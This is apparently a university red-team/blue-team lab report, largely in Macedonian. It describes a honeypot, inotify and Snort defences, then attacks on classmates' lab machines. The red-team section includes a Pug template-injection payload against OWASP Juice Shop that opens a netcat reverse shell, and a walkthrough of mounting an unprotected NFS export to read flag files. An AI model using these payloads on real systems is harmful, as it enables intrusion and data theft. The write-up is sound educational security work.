

Autotune

Андреј Танески - 182010

Маја Крстевска - 186037

Стефан Костоски - 186076

Филип Петровски - 186040

Симеон Мерипушкоски - 182033

Blue Team Phase	2
Information Gathering	3
IP Address	3
System	3
Nmap Scan	3
Defense Plan	4
HoneyPot	4
Inotify	5
Snort	6
Лог од детектирани напади	7
 Red Team Phase	 9
IP Address: 192.168.75.17	10
Information Gathering Phase	11
Nmap Scan	11
Exploitation phase	12
IP Address: 192.168.75.29	13
Information gathering phase	14
Nmap Scan	14
Apache Server PHP Version	14
Exploitation phase	15
IP Address: 192.168.75.103	18
Information gathering phase	19
Nmap Scan	19
Exploitation phase	20

Blue Team Phase

→ Information Gathering

IP Address

192.168.75.173

System

Linux pr-autotune01 4.9.0-8-amd64 Debian 4.9.144-3.1 - Debian 9.8

Nmap Scan

```
22/tcp      open  ssh      syn-ack ttl 63 OpenSSH 7.4p1 Debian
10+deb9u6 (protocol 2.0)
80/tcp      open  http     syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
443/tcp     open  ssl/http syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
3306/tcp    open  mysql    syn-ack ttl 63 MariaDB Ver 15.1 Distrib
10.1.47-MariaDB
36800/tcp   open  unknown  syn-ack ttl 63
```

→ Defense Plan

Нашиот план за одбрана на машината се состои од два главни дела.

Првиот дел се состои од додавање на неколку honeypot сервиси кои ќе бидат видливи при мрежно скенирање на машината за порти кои слушаат. Со ова ги отежнуваме нападите за потенцијалните напаѓачи кои треба да одлучат за кој сервис ќе бараат ранливости. Исто така ќе можеме да бидеме прилично сигурни дека обиди за конекции на honeypot портите се обиди за напад.

Вториот дел се состои од додавање на неколку програми кои ќе го следат сообраќајот и ќе запишуваат логови за потенцијални напади. Потоа овие напади ќе бидат читани од python програма која воедно ќе стартува и едноставен http сервер заштитен со basic автентикација на кој ќе може да испраќаме барања за соодветните лог датотеки. Целта на овој сервер е на едноставен начин да ги понуди лог датотеките за уште една python програма која ќе работи на наша локална машина и доколку има нови записи во датотеката ги додава во соодветната локална лог датотека. На овој начин ги имаме сите лог записи локално со точно време што ни овозможува да знаеме точно кога некој пробал да направи енумерација на сервисите на машината.

HoneyPot

Со цел да си ја олесниме детекцијата на нападите, напишавме едноставна honeypot програма во Python која има цел да отвори специфицирани порти и да запишува одредени информации за сообраќај на тие порти.

За да се осигураме дека овој honeypot постојано ќе функционира, направивме сервис во `/etc/systemd/system` директориумот, наречен **polkith.service**, кој што има цел да се стартува заедно со машината и исто така, да се рестартира ако се случи некаков проблем. Овој сервис ја стартува нашата скрипта **polkit.py** лоцирана во `/root`.

Со помош на овој honeypot, ние ги отворивме портите **21 (FTP)**, **53 (DNS)**, **67 (DHCP)**, **123 (NTP)**, **139 (SMB)** и **445 (SMB)** на кои што се креирани TCP и UDP sockets кои чекаат конекција, но во моментот кога се оствари конекцијата, се запишуваат информации во лог датотеката и се прекинува конекцијата на тој socket.

Лог датотеката се запишува во `/home/velikibrat/honey.txt` и се состои од целосниот датум и време на конекцијата на портата, IP адресата од напаѓачот, портата од која што нападнал напаѓачот, како и протоколот кој бил искористен за конекцијата.

Бидејќи при било каква конекција на овие порти се запишуваат информации во лог, можиме да бидеме сигурни дека некој ја напаѓа нашата машина, со што можиме да го блокираме. Често колегите прават интензивни nmap scans на сите порти, па можевме многу лесно да откриеме кога добивавме конекции на сите honeypot порти и соодветно реагиравме.

Inotify

Filesystem-от на нашата машина е постојано надгледуван користејќи го сервисот **notify.service** што се наоѓа во `/etc/systemd/system` директориумот. Овој сервис ја стартува нашата custom скрипта **customnotify.sh** при старт на машината. Скриптата се наоѓа во `/root` директориумот и истата го искористува **inotifywait** сервисот за да чека на промени во filesystem-от. Се користи опцијата на `inotifywait` за постојано надгледување (`-m --` во спротивно би прекинала на првиот настан на надгледуваните датотеки/директориуми). Се надгледуваат повеќе датотеки и директориуми како што се:

- flag датотеките на корисниците на машината (`/home/user18*/flag`)
 - Одредени фајлови на `/home/dizzy_hall` директориумот
 - Директориумот на **vagrant** корисникот
 - Неколку специфични сервиси во `/etc/systemd/system` директориумот
 - Неколку специфични фајлови (sh,py,xlsx) во `/root` директориумот
 - Сите пристапи и креации (`-e access -e create`) на `/tmp` директориумот
 - **Напомена:** Во овој директориум се занемаруваат (`--exclude`) фајловите што ги креира самата машина со цел да се добиваат валидни резултати.
- Исто така, за добра читливост е специфициран формат за приказ на резултатите од настаните. Форматот е следниот:

[%T: %e %w%f]

%e - претставува името на настанот за кој е направен trigger-от.

%w - претставува името на надгледуваната датотека од која е направен trigger-от

%f - ако настан се случи во директориум, со оваа опција ќе се специфицира името на датотеката во директориумот од која е направен trigger-от

%T - претставува временскиот формат на резултатот. Истиот има формат:

[%a, %d %b %Y %T]

%a - претставува денот во неделата следејќи ја локалната временска зона
%d - претставува денот во месецот во декаден формат (од 01 до 31)
%b - претставува името на месецот следејќи ја локалната временска зона
%Y - ја претставува годината во декаден формат
%T - го претставува времето во 24-часовен формат (час:минути:секунди)

Сите настани во горенаведените датотеки се зачувуваат во лог датотека (користејќи ја опцијата -o) на нашиот custom корисник **velikibrat**. Патеката на лог датотеката е **/home/velikibrat/inotify_log.txt**.

Snort

Со цел да детектираме напади врз основа на потписи решивме да го користиме Snort како IDS. После инсталацијата на Snort ги оставивме активирани најголем дел од default листите со правила. Како што е наведено во делот за honeypot програмата имаме додадено неколку порти зад кои нема валидни сервиси, па за овие порти сакаме да постои лог за било каков обид за конекција. Затоа во **/etc/snort/rules/icmp.rules** (во оваа датотека ги додадовме custom правилата) додадовме неколку правила за honeypot портите:

```
alert tcp any any -> 192.168.75.173 21 (msg: "NMAP TCP Scan";sid:10000005; rev:2;
)
alert tcp any any -> 192.168.75.173 53 (msg: "NMAP TCP Scan";sid:10000006; rev:3;
)
alert tcp any any -> 192.168.75.173 67 (msg: "NMAP TCP Scan";sid:10000007;
rev:4; )
alert tcp any any -> 192.168.75.173 123 (msg: "NMAP TCP Scan";sid:10000008;
rev:5; )
alert tcp any any -> 192.168.75.173 139 (msg: "NMAP TCP Scan";sid:10000009;
rev:6; )
alert tcp any any -> 192.168.75.173 445 (msg: "NMAP TCP Scan";sid:10000001;
rev:7; )
```

Исто така во оваа листа додадовме правило за детекција за обиди за SSH конекции со исклучок на адресите од членовите на тимот и адреса за која заклучивме дека се користи за проверка на достапноста на машината:

```
alert tcp
! [192.168.71.52,192.168.71.20,192.168.71.22,192.168.71.23,192.168.71.45,192.168.72.10]
any -> 192.168.75.173 22 (msg: "SSH Attempt";sid:10000001; rev:7; )
```

Дополнително направивме и неколку измени во тоа како се стартува Snort:

```
/usr/sbin/snort -m 027 -D -A fast -l /var/log/snort -u snort -g snort -c  
/etc/snort/snort.conf -S HOME_NET=[192.168.75.173/32] -i eth0
```

Тука ја додадовме **-A fast** опцијата со која Snort ги запишува логовите во plain text во датотеката **alert**.

Лог од детектирани напади

Извадоци од лог датотеката (целосниот лог е 500kb):

Detected 192.168.75.17:

```
12/01/2021-01:49:07 01/12-09:46:29.153410 [**] [1:477:3] ICMP Packet [**] [Priority:  
0] {ICMP} 192.168.75.17 -> 192.168.75.173  
12/01/2021-01:49:08 01/12-09:46:29.153410 [**] [1:365:8] ICMP PING undefined  
code [**] [Classification: Misc activity] [Priority: 3] {ICMP} 192.168.75.17 ->  
192.168.75.173  
12/01/2021-01:49:08 01/12-09:46:29.228665 [**] [1:10000001:7] "SSH Attempt" [**]  
[Priority: 0] {TCP} 192.168.75.17:60179 -> 192.168.75.173:22  
12/01/2021-01:49:09 01/12-09:46:29.379517 [**] [1:1228:7] SCAN nmap XMAS [**]  
[Classification: Attempted Information Leak] [Priority: 2] {TCP}  
192.168.75.17:60186 -> 192.168.75.173:1  
12/01/2021-01:49:09 01/12-09:46:29.404782 [**] [1:477:3] ICMP Packet [**]  
[Priority: 0] {ICMP} 192.168.75.17 -> 192.168.75.173
```

Detected 192.168.71.35:

```
12/01/2021-02:55:39 01/12-10:53:05.257633 [**] [1:10000006:3] "NMAP TCP Scan"  
[**] [Priority: 0] {TCP} 192.168.71.35:53675 -> 192.168.75.173:53  
12/01/2021-02:55:39 01/12-10:53:05.747243 [**] [1:1421:11] SNMP AgentX/tcp  
request [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP}  
192.168.71.35:53912 -> 192.168.75.173:705  
12/01/2021-03:32:16 01/12-11:29:26.527722 [**] [1:249:8] DDOS mstream client to  
handler [**] [Classification: Attempted Denial of Service] [Priority: 2] {TCP}  
192.168.71.35:52756 -> 192.168.75.173:15104  
12/01/2021-03:32:16 01/12-11:29:26.832933 [**] [1:249:8] DDOS mstream client to  
handler [**] [Classification: Attempted Denial of Service] [Priority: 2] {TCP}  
192.168.71.35:52866 -> 192.168.75.173:15104
```


Detected 192.168.71.55:

12/01/2021-18:07:37 01/13-02:05:00.628033 [**] [1:382:7] ICMP PING Windows [**]
 [Classification: Misc activity] [Priority: 3] {ICMP} 192.168.71.55 -> 192.168.75.173
 12/01/2021-18:07:37 01/13-02:05:00.628033 [**] [1:477:3] ICMP Packet [**] [Priority:
 0] {ICMP} 192.168.71.55 -> 192.168.75.173

Detected 192.168.71.57:

12/01/2021-20:06:05 01/13-04:03:25.790095 [**] [1:477:3] ICMP Packet [**]
 [Priority: 0] {ICMP} 192.168.71.57 -> 192.168.75.173
 12/01/2021-20:06:05 01/13-04:03:25.790095 [**] [1:453:5] ICMP Timestamp
 Request [**] [Classification: Misc activity] [Priority: 3] {ICMP} 192.168.71.57 ->
 192.168.75.173
 13/01/2021-14:20:26 01/13-22:17:34.451878 [**] [1:382:7] ICMP PING Windows [**]
 [Classification: Misc activity] [Priority: 3] {ICMP} 192.168.71.55 -> 192.168.75.173
 13/01/2021-14:20:26 01/13-22:17:34.451878 [**] [1:477:3] ICMP Packet [**] [Priority:
 0] {ICMP} 192.168.71.55 -> 192.168.75.173
 13/01/2021-18:43:47 01/14-02:41:17.987065 [**] [1:10000005:2] "NMAP TCP Scan"
 [**] [Priority: 0] {TCP} 192.168.75.29:51604 -> 192.168.75.173:21
 13/01/2021-18:43:48 01/14-02:41:17.987418 [**] [1:10000001:7] "SSH Attempt" [**]
 [Priority: 0] {TCP} 192.168.75.29:51604 -> 192.168.75.173:22

Последна состојба на iptables:

```
root@pr-autotune01:~# iptables -L -v
Chain INPUT (policy ACCEPT 95022 packets, 5211K bytes)
Pkts  bytes  target prot  opt  in      out     source destination
 24    896    DROP  all  --  any     any     192.168.71.57 anywhere
40659 1958K  DROP  all  --  any     any     192.168.71.55 anywhere
460K  24M    DROP  all  --  any     any     192.168.71.35 anywhere
 0      0      DROP  all  --  any     any     192.168.75.17 anywhere
 21    1620   DROP  all  --  any     any     192.168.75.29 anywhere

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
pkts  bytes  target prot  opt  in      out     source destination

Chain OUTPUT (policy ACCEPT 143K packets, 189M bytes)
pkts  bytes  target prot  opt  in      out     source destination
```

Red Team Phase

IP Address:
192.168.75.17

flag{sondersrecladingeminatingporeraftertaste}

TRwzkRJnHOTckssAeyJbysWgP!Qc2T

➔ Information Gathering Phase

12.01.2021 20:15

Nmap Scan

21/tcp	open	ftp	ProFTPD 1.3.3c
22/tcp	open	ssh	OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp	open	http	Apache httpd 2.4.25 ((Debian))
3000/tcp	open	ppp?	
3306/tcp	open	mysql	MariaDB (unauthorized)

→ Exploitation Phase

Согласно отворените порти пробавме да нападнеме преку порта 21, на која што има отворен ProFTPD протокол верзија 1.3.3c. Меѓутоа не успеавме да ја пробиеме таа порта.

Воочивме дека на порта 3000 има веб апликација со име OWASP Juice Shop, која што на страната profile користи PugJS. Преку полето за username ја извршивме командата дадена во прилог преку која добивме reverse shell:

15.01.2021 13:30

```
p #{global.process.mainModule.require('child_process').exec('/usr/bin/nc 192.168.75.173 4444 -e /bin/sh')}
```

Откривме дека Juice Shop работи во docker, каде што најдовме содржина на друго знаменце наречено ctf.key.

Бидејќи по птар скенирањето воочивме дека е отворена и порта 80, со поврзан VPN преку веб прелистувач пристапивме до таа порта на виртуелната машина и на таков начин откривме знаменце кое што не беше заштитено од страна на тимот

12.01.2021 20:20

http://192.168.75.17/secret_files/commit/fee56974d823e71004a0ce7ac5cefe797c796ab1

flag{sondersrecladingeminatingporeraftertaste}

IP Address:
192.168.75.29

flag{Arīca Glaucus}

flag{w7EE3MXsaawmLvUy6G5gvaKK}

flag{m4aWmVdPrAfZTkeX9PB8ZFJp}

flag{xrp7tGDrfJPm5QawUtpKGmHX}

flag{AuqMgPPgkSteTCcNFYkj7BEE}

flag{jealoushoodunfeudalizedperigeaninterpermeatingeolite}

➔ Information Gathering Phase

13.01.2021 17:03

Nmap Scan

22/tcp	open	ssh	OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp	open	http	Apache httpd 2.4.25 ((Debian))
111/tcp	open	rpcbind	2-4 (RPC #1000000)
2049/tcp	open	nfs_acl	3 (RPC #100227)
3306/tcp	open	mysql	MariaDB (unauthorized)

Apache Server PHP Version

192.168.75.29:80 PHP version: 7.0.33-0+deb9u10

→ Exploitation Phase

13.01.2021 17:06

```
root@pr-autotune01:~# showmount -e 192.168.75.29

Export list for 192.168.75.29:

/*

root@pr-autotune01:~# mkdir -p /mnt/root29

root@pr-autotune01:~# mount 192.168.75.29:/ /mnt/root29

root@pr-autotune01:~# cat /mnt/root29/home/user182021/flag

flag{w7EE3MXsaawmLvUy6G5gvaKK}

root@pr-autotune01:~# cat /mnt/root29/home/user182029/flag

flag{m4aWmVdPrAfZTkeX9PB8ZFJp}

root@pr-autotune01:~# cat /mnt/root29/home/user185007/flag

flag{xrp7tGDrfJPm5QawUtpKGmHX}

root@pr-autotune01:~# cat /mnt/root29/home/user185024/flag

flag{AuqMgPPgkSteTCcNFYkj7BEE}

root@pr-autotune01:~# cat /mnt/root29/home/user185025/flag

flag{Arica Glaucus}

root@pr-autotune01:~# cat /mnt/root29/root/classified

Welcome to the server!
```



```
root@pr-autotune01:~# cat /mnt/root29/root/quia.numbers
```

MB Proektna zadacha 2020

flag{jealoushoodunfeudalizedperigeainterpermeatingeleolite}

```
root@pr-autotune01:~# cat /mnt/root29/root/sed.ods
```

Plain text from the metadata default, destined for strings_to_leak...

Промени кои ги направивме на машината:

- SSH banner changed
- Installed SSH key for user185025@192.168.75.29 - running nmap scans from here now

Exploits кои беа користени:

- на порта 2049 : Искористен незаштитен file export

```
root@pr-autotune01:~# cat /mnt/root29/root/sed.ods
```

Plain text from the metadata default, destined for strings_to_leak...

105156143157144145144040164145170164040146162157155040164150145040155145
16414114414116414104014414514614116515416405404014414516316415115614514404
0146157162040163164162151156147163137164157137154145141153056056056

1151571621450401451561431571441451440401641451701640401461621571550401641
5014504015514516414114414116414104014414514614116515416405404014414516316
415115614514404014615716204016316416215115614716313716415713715414514115305
6056056

Декодиран octal code во текст

Encoded text from the metadata default, destined for strings_to_leak...

More encoded text from the metadata default, destined for strings_to_leak...

05707115205706410110112112315313211222147101102101121101...(целосниот излез
беше преголем)

Оваа слика беше декодирана од излезот погоре:



IP Address:
192.168.75.103

➔ Information Gathering Phase

13.01.2021 20:20

Nmap Scan

22/tcp	open	ssh	OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp	open	http	Apache httpd
111/tcp	open	rpcbind	2-4 (RPC #100000)
443/tcp	open	ssl/http	Apache httpd
2049/tcp	open	nfs_acl	3 (RPC #100227)
3306/tcp	open	mysql	MariaDB (unauthorized)

→ Exploitation Phase

13.01.2021 17:24

```
root@pr-autotune01:~# mount 192.168.75.103:/files /mnt/root29/
```

```
root@pr-autotune01:~# cat /mnt/root29/officiis.bmp
```

G'day mate!

```
root@pr-autotune01:~# cat /mnt/root29/unde.gif
```

Plain text from the metadata default, destined for strings_to_leak...

```
105156143157144145144040164145170164040146162157155040164150145040155145
16414114414116414104014414514614116515416405404014414516316415115614514404
0146157162040163164162151156147163137164157137154145141153056056056
```

```
1151571621450401451561431571441451440401641451701640401461621571550401641
5014504015514516414114414116414104014414514614116515416405404014414516316
415115614514404014615716204016316416215115614716313716415713715414514115305
6056056
```

```
166107157053161172153152125120120112152160166120124125064121117167075075
```

Декодиран octal code во текст

Encoded text from the metadata default, destined for strings_to_leak...

More encoded text from the metadata default, destined for strings_to_leak...

```
vGo+qzkjUPPJjpvPTU4QOw==
```